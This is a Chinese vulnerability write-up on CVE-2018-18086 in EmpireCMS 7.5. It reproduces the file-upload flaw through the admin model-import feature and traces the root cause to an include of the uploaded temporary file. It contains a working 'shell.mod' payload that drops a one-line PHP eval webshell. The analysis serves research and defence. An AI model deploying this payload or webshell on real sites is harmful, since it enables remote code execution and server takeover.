帝国CMS 文件上传漏洞 CVE-2018-18086
1.漏洞复现
帝国CMS 7.5,http://ecms.phome.net/downcenter/empirecms/ecms75/download/EmpireCMS_7.5_SC_UTF8.zip
复现
登录后台,系统->数据表与系统模型->管理数据表->导入系统模型(数据表名随意、上传shell.mod)->马上导入
shell.mod:
<?php
file_put_contents('shell.php', '<?php @eval($_POST[1]);?>');
一句话木马路径:http://127.0.0.1/e/admin/shell.php
2.正向分析
从可见功能点正向分析
马上导入,抓包,看看入口点是哪个脚本
POST /e/admin/ecmsmod.php HTTP/1.1
...
------WebKitFormBoundarytuyvMFxK6SHqAtpA
Content-Disposition: form-data; name="enews"
LoadInMod
------WebKitFormBoundarytuyvMFxK6SHqAtpA--
/e/admin/ecmsmod.php
$enews=$_POST['enews'];
...
//导入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
调用了 LoadInMod函数 处理文件
/e/class/moddofun.php
LoadInMod函数
//导入系统模型
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
...
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
...
@include($path);
直接对临时文件进行了文件包含,导致了文件上传漏洞